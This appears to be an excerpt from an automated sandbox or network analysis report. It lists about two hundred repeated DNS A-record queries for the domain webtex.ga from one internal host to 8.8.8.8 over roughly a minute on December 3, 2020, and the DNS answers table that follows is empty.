Dec 3, 2020 10:03:08.061608076 CET	192.168.2.3	8.8.8.8	0x28a	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:08.342209101 CET	192.168.2.3	8.8.8.8	0x8aef	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:08.640106916 CET	192.168.2.3	8.8.8.8	0x4a5c	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:08.922322035 CET	192.168.2.3	8.8.8.8	0xeeba	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:09.202274084 CET	192.168.2.3	8.8.8.8	0x52ff	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:09.503087044 CET	192.168.2.3	8.8.8.8	0x64a0	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:09.788084984 CET	192.168.2.3	8.8.8.8	0xbdd8	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:10.242281914 CET	192.168.2.3	8.8.8.8	0x220b	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:10.629410982 CET	192.168.2.3	8.8.8.8	0xb11b	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:11.015091896 CET	192.168.2.3	8.8.8.8	0x8a65	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:11.502537012 CET	192.168.2.3	8.8.8.8	0x3590	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:11.768229008 CET	192.168.2.3	8.8.8.8	0x82c7	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:12.141284943 CET	192.168.2.3	8.8.8.8	0x460b	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:12.443948030 CET	192.168.2.3	8.8.8.8	0x7c2a	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:12.813215971 CET	192.168.2.3	8.8.8.8	0xf60b	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:13.089744091 CET	192.168.2.3	8.8.8.8	0x220e	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:13.933495998 CET	192.168.2.3	8.8.8.8	0xd70e	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:15.775830030 CET	192.168.2.3	8.8.8.8	0x51d9	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:16.220994949 CET	192.168.2.3	8.8.8.8	0xf658	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:16.659768105 CET	192.168.2.3	8.8.8.8	0xe36d	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:17.074780941 CET	192.168.2.3	8.8.8.8	0xf6a	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:17.538553953 CET	192.168.2.3	8.8.8.8	0xb93	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:18.230065107 CET	192.168.2.3	8.8.8.8	0x663f	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:18.976856947 CET	192.168.2.3	8.8.8.8	0x4f9	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:19.320147991 CET	192.168.2.3	8.8.8.8	0x6067	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:19.815073967 CET	192.168.2.3	8.8.8.8	0xc41f	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:20.114562035 CET	192.168.2.3	8.8.8.8	0x67b4	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:20.585319996 CET	192.168.2.3	8.8.8.8	0xc411	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:20.865005970 CET	192.168.2.3	8.8.8.8	0x135f	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:21.350702047 CET	192.168.2.3	8.8.8.8	0x7c7a	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:21.938216925 CET	192.168.2.3	8.8.8.8	0x7a9b	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:22.212102890 CET	192.168.2.3	8.8.8.8	0x2061	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:22.710444927 CET	192.168.2.3	8.8.8.8	0x9a2d	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:22.973746061 CET	192.168.2.3	8.8.8.8	0x5736	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:23.470324039 CET	192.168.2.3	8.8.8.8	0x2777	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:23.971995115 CET	192.168.2.3	8.8.8.8	0x10d0	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:24.629245996 CET	192.168.2.3	8.8.8.8	0xb2fc	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:25.133505106 CET	192.168.2.3	8.8.8.8	0xf47f	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:25.611252069 CET	192.168.2.3	8.8.8.8	0xc2de	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:26.139666080 CET	192.168.2.3	8.8.8.8	0x2c89	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:26.750502110 CET	192.168.2.3	8.8.8.8	0xec75	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:27.020617962 CET	192.168.2.3	8.8.8.8	0x37fe	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:27.542334080 CET	192.168.2.3	8.8.8.8	0xee9	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:28.052023888 CET	192.168.2.3	8.8.8.8	0x268c	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:28.320911884 CET	192.168.2.3	8.8.8.8	0xa636	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:28.947045088 CET	192.168.2.3	8.8.8.8	0xb2a4	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:29.212243080 CET	192.168.2.3	8.8.8.8	0xcf41	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:29.856785059 CET	192.168.2.3	8.8.8.8	0x19d2	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:30.428265095 CET	192.168.2.3	8.8.8.8	0x4f6b	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:30.940175056 CET	192.168.2.3	8.8.8.8	0xe5a7	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:31.211011887 CET	192.168.2.3	8.8.8.8	0x22c0	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:31.701210022 CET	192.168.2.3	8.8.8.8	0x1998	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:31.965411901 CET	192.168.2.3	8.8.8.8	0xbd1b	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:32.553005934 CET	192.168.2.3	8.8.8.8	0x5335	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:32.813930035 CET	192.168.2.3	8.8.8.8	0x235e	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:33.387254000 CET	192.168.2.3	8.8.8.8	0xccc0	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:33.887957096 CET	192.168.2.3	8.8.8.8	0xc68e	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:34.397080898 CET	192.168.2.3	8.8.8.8	0xdef7	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:34.893606901 CET	192.168.2.3	8.8.8.8	0xfaf1	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:35.446471930 CET	192.168.2.3	8.8.8.8	0xa930	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:35.982255936 CET	192.168.2.3	8.8.8.8	0xea6e	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:36.558135033 CET	192.168.2.3	8.8.8.8	0x7bf5	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:37.046510935 CET	192.168.2.3	8.8.8.8	0xeb1b	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:37.585237980 CET	192.168.2.3	8.8.8.8	0x58c7	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:38.089342117 CET	192.168.2.3	8.8.8.8	0x8c94	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:38.558370113 CET	192.168.2.3	8.8.8.8	0xf10d	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:39.105139017 CET	192.168.2.3	8.8.8.8	0x640d	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:39.622893095 CET	192.168.2.3	8.8.8.8	0x2773	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:39.961132050 CET	192.168.2.3	8.8.8.8	0x1327	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:40.350091934 CET	192.168.2.3	8.8.8.8	0xb392	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:40.643349886 CET	192.168.2.3	8.8.8.8	0xd79c	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:40.917800903 CET	192.168.2.3	8.8.8.8	0x2d9b	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:41.210357904 CET	192.168.2.3	8.8.8.8	0x2b7d	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:41.501154900 CET	192.168.2.3	8.8.8.8	0x9e39	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:41.788903952 CET	192.168.2.3	8.8.8.8	0xbac6	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:42.078183889 CET	192.168.2.3	8.8.8.8	0x91f1	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:42.745702982 CET	192.168.2.3	8.8.8.8	0xabc8	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:43.046442032 CET	192.168.2.3	8.8.8.8	0x1b62	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:43.359462976 CET	192.168.2.3	8.8.8.8	0xef30	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:43.637032032 CET	192.168.2.3	8.8.8.8	0xf5db	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:43.957545042 CET	192.168.2.3	8.8.8.8	0x66a8	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:44.347207069 CET	192.168.2.3	8.8.8.8	0x3076	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:44.619749069 CET	192.168.2.3	8.8.8.8	0xa64f	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:44.920094967 CET	192.168.2.3	8.8.8.8	0x18d1	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:45.199316978 CET	192.168.2.3	8.8.8.8	0x16fc	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:45.705465078 CET	192.168.2.3	8.8.8.8	0xf333	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:46.270900965 CET	192.168.2.3	8.8.8.8	0x8a44	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:46.745162964 CET	192.168.2.3	8.8.8.8	0x24bd	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:47.266988039 CET	192.168.2.3	8.8.8.8	0x44ed	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:47.829632998 CET	192.168.2.3	8.8.8.8	0xa991	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:48.394521952 CET	192.168.2.3	8.8.8.8	0x7ed0	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:48.946424961 CET	192.168.2.3	8.8.8.8	0xed25	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:49.333678007 CET	192.168.2.3	8.8.8.8	0x1f9b	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:49.653568029 CET	192.168.2.3	8.8.8.8	0xdd43	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:50.292429924 CET	192.168.2.3	8.8.8.8	0x4dcb	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:50.652407885 CET	192.168.2.3	8.8.8.8	0x3c4c	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:51.184968948 CET	192.168.2.3	8.8.8.8	0xc3f4	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:51.697694063 CET	192.168.2.3	8.8.8.8	0x9b59	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:51.962105036 CET	192.168.2.3	8.8.8.8	0x1aca	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:52.491959095 CET	192.168.2.3	8.8.8.8	0xcf36	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:53.082986116 CET	192.168.2.3	8.8.8.8	0xa9fe	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:53.692517996 CET	192.168.2.3	8.8.8.8	0xbf15	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:53.964230061 CET	192.168.2.3	8.8.8.8	0x86cd	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:54.522007942 CET	192.168.2.3	8.8.8.8	0xb35e	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:55.105586052 CET	192.168.2.3	8.8.8.8	0xf4f	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:55.802597046 CET	192.168.2.3	8.8.8.8	0xa750	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:56.065541029 CET	192.168.2.3	8.8.8.8	0x2127	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:56.584539890 CET	192.168.2.3	8.8.8.8	0xaf39	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:57.100286007 CET	192.168.2.3	8.8.8.8	0x9ef3	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:57.629905939 CET	192.168.2.3	8.8.8.8	0x6144	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:58.233308077 CET	192.168.2.3	8.8.8.8	0x7360	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:58.499917984 CET	192.168.2.3	8.8.8.8	0xc4a6	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:58.767443895 CET	192.168.2.3	8.8.8.8	0x3dd1	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:59.049704075 CET	192.168.2.3	8.8.8.8	0x5da	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:59.326589108 CET	192.168.2.3	8.8.8.8	0x9a3e	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:59.609312057 CET	192.168.2.3	8.8.8.8	0x8d7f	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:59.880233049 CET	192.168.2.3	8.8.8.8	0x3864	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:00.164766073 CET	192.168.2.3	8.8.8.8	0x3309	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:00.456994057 CET	192.168.2.3	8.8.8.8	0xf0db	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:00.739052057 CET	192.168.2.3	8.8.8.8	0x4800	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:01.117043972 CET	192.168.2.3	8.8.8.8	0x9a8f	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:01.421802998 CET	192.168.2.3	8.8.8.8	0x674b	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:01.710134983 CET	192.168.2.3	8.8.8.8	0x6b11	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:02.015068054 CET	192.168.2.3	8.8.8.8	0xb6d9	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:02.381865025 CET	192.168.2.3	8.8.8.8	0xf523	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:02.661564112 CET	192.168.2.3	8.8.8.8	0xc521	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:02.942312956 CET	192.168.2.3	8.8.8.8	0xd047	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:03.232505083 CET	192.168.2.3	8.8.8.8	0x7eb0	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:03.505784988 CET	192.168.2.3	8.8.8.8	0xf399	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:03.795294046 CET	192.168.2.3	8.8.8.8	0x1a21	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:04.074474096 CET	192.168.2.3	8.8.8.8	0xf5b1	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:04.355796099 CET	192.168.2.3	8.8.8.8	0xf389	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:04.647460938 CET	192.168.2.3	8.8.8.8	0xd7e2	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:04.915332079 CET	192.168.2.3	8.8.8.8	0x9e4	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:05.199299097 CET	192.168.2.3	8.8.8.8	0xbd95	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:05.483560085 CET	192.168.2.3	8.8.8.8	0x5da6	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:05.769323111 CET	192.168.2.3	8.8.8.8	0xcb30	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:06.074758053 CET	192.168.2.3	8.8.8.8	0x8b25	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:06.352900982 CET	192.168.2.3	8.8.8.8	0x181a	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:06.635427952 CET	192.168.2.3	8.8.8.8	0x37ca	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:06.949789047 CET	192.168.2.3	8.8.8.8	0x8014	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:07.224431038 CET	192.168.2.3	8.8.8.8	0x38f9	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:07.525737047 CET	192.168.2.3	8.8.8.8	0xd334	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:07.808995962 CET	192.168.2.3	8.8.8.8	0x7f82	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:08.217499971 CET	192.168.2.3	8.8.8.8	0x877	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:08.498416901 CET	192.168.2.3	8.8.8.8	0xa0f9	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:08.778889894 CET	192.168.2.3	8.8.8.8	0x15b0	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:09.057873011 CET	192.168.2.3	8.8.8.8	0x5fcc	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:09.325339079 CET	192.168.2.3	8.8.8.8	0x99c0	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:09.614290953 CET	192.168.2.3	8.8.8.8	0x7e55	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:09.901053905 CET	192.168.2.3	8.8.8.8	0x99f5	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:10.190378904 CET	192.168.2.3	8.8.8.8	0xa059	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:10.459393978 CET	192.168.2.3	8.8.8.8	0x80e6	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:10.736605883 CET	192.168.2.3	8.8.8.8	0x29c1	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:11.023058891 CET	192.168.2.3	8.8.8.8	0xac48	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:11.390893936 CET	192.168.2.3	8.8.8.8	0x9904	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:11.669486046 CET	192.168.2.3	8.8.8.8	0x3918	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:11.944083929 CET	192.168.2.3	8.8.8.8	0xb0f3	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:12.247473955 CET	192.168.2.3	8.8.8.8	0x18e8	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:12.585220098 CET	192.168.2.3	8.8.8.8	0x5ef8	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:12.864528894 CET	192.168.2.3	8.8.8.8	0x7295	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:13.144134045 CET	192.168.2.3	8.8.8.8	0x938a	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:13.455523968 CET	192.168.2.3	8.8.8.8	0x33f4	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:13.773528099 CET	192.168.2.3	8.8.8.8	0x2cb5	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:14.070842981 CET	192.168.2.3	8.8.8.8	0xcfa8	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:14.356909990 CET	192.168.2.3	8.8.8.8	0x6ed3	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:14.643935919 CET	192.168.2.3	8.8.8.8	0x311a	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:14.910386086 CET	192.168.2.3	8.8.8.8	0x4c98	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:15.187752008 CET	192.168.2.3	8.8.8.8	0x82a5	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:15.465322018 CET	192.168.2.3	8.8.8.8	0x1bb4	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:15.742861986 CET	192.168.2.3	8.8.8.8	0xc751	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:16.022732019 CET	192.168.2.3	8.8.8.8	0x693f	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:16.517864943 CET	192.168.2.3	8.8.8.8	0xaae8	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:16.820955038 CET	192.168.2.3	8.8.8.8	0x6ea	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:17.112066031 CET	192.168.2.3	8.8.8.8	0xdaf3	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:17.833745956 CET	192.168.2.3	8.8.8.8	0x6912	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:18.132854939 CET	192.168.2.3	8.8.8.8	0xbb4	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:19.915863037 CET	192.168.2.3	8.8.8.8	0x48f0	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:20.226304054 CET	192.168.2.3	8.8.8.8	0x58eb	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:20.501063108 CET	192.168.2.3	8.8.8.8	0x58e2	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:20.803499937 CET	192.168.2.3	8.8.8.8	0xfb15	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:21.247961044 CET	192.168.2.3	8.8.8.8	0xfcdd	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:21.527256012 CET	192.168.2.3	8.8.8.8	0xe84c	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:21.853420019 CET	192.168.2.3	8.8.8.8	0xaff7	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:22.121886015 CET	192.168.2.3	8.8.8.8	0xbb16	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:22.394130945 CET	192.168.2.3	8.8.8.8	0x7419	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:22.719099998 CET	192.168.2.3	8.8.8.8	0x1e85	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:22.981034994 CET	192.168.2.3	8.8.8.8	0x1d6f	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:23.254004002 CET	192.168.2.3	8.8.8.8	0x4e1c	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:23.541433096 CET	192.168.2.3	8.8.8.8	0xbd95	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:23.816549063 CET	192.168.2.3	8.8.8.8	0x617a	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:24.106113911 CET	192.168.2.3	8.8.8.8	0xc7ce	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:24.394944906 CET	192.168.2.3	8.8.8.8	0x35d2	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:24.686381102 CET	192.168.2.3	8.8.8.8	0x98b3	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:25.305768967 CET	192.168.2.3	8.8.8.8	0xbedc	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:04:25.729907990 CET	192.168.2.3	8.8.8.8	0x908b	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
